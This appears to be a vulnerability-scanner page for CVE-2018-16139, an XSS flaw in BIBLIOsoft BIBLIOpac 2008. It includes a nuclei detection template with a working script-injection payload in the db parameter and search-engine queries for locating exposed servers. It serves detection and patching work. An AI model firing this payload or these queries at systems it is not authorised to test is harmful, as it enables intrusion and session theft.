BIBLIOsoft BIBLIOpac 2008 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.3%likelihood of exploitation, next 30 days

83%of all CVEs are less likely

Readycheck to confirm it

BIBLIOsoft BIBLIOpac 2008 contains a cross-site scripting vulnerability via the db or action parameter to bin/wxis.exe/bibliopac/, which allows a remote attacker to inject arbitrary web script or HTML.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest patch or upgrade to a newer version of BIBLIOsoft BIBLIOpac 2008 that addresses the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/bibliopac/bin/wxis.exe/bibliopac/?IsisScript=bibliopac/bin/bibliopac.xic&db="><script>prompt(document.domain)</script>
Positive when: contains "\"><script>prompt(document.domain)</script>.xrf" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2018-16139 -u <target>

The full check

id: CVE-2018-16139

info:
  name: BIBLIOsoft BIBLIOpac 2008 - Cross-Site Scripting
  author: atomiczsec
  severity: medium
  description: |
    BIBLIOsoft BIBLIOpac 2008 contains a cross-site scripting vulnerability via the db or action parameter to bin/wxis.exe/bibliopac/, which allows a remote attacker to inject arbitrary web script or HTML.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest patch or upgrade to a newer version of BIBLIOsoft BIBLIOpac 2008 that addresses the XSS vulnerability.
  reference:
    - https://www.0x90.zone/web/xss/2019/02/01/XSS-Bibliosoft.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16139
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-16139
    cwe-id: CWE-79
    epss-score: 0.02285
    epss-percentile: 0.83308
    cpe: cpe:2.3:a:bibliosoft:bibliopac:2008:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: bibliosoft
    product: bibliopac
    shodan-query:
      - title:"Bibliopac"
      - http.title:"bibliopac"
    fofa-query: title="bibliopac"
    google-query: intitle:"bibliopac"
  tags: cve,cve2018,xss,bibliopac,bibliosoft,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/bibliopac/bin/wxis.exe/bibliopac/?IsisScript=bibliopac/bin/bibliopac.xic&db="><script>prompt(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>prompt(document.domain)</script>.xrf'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

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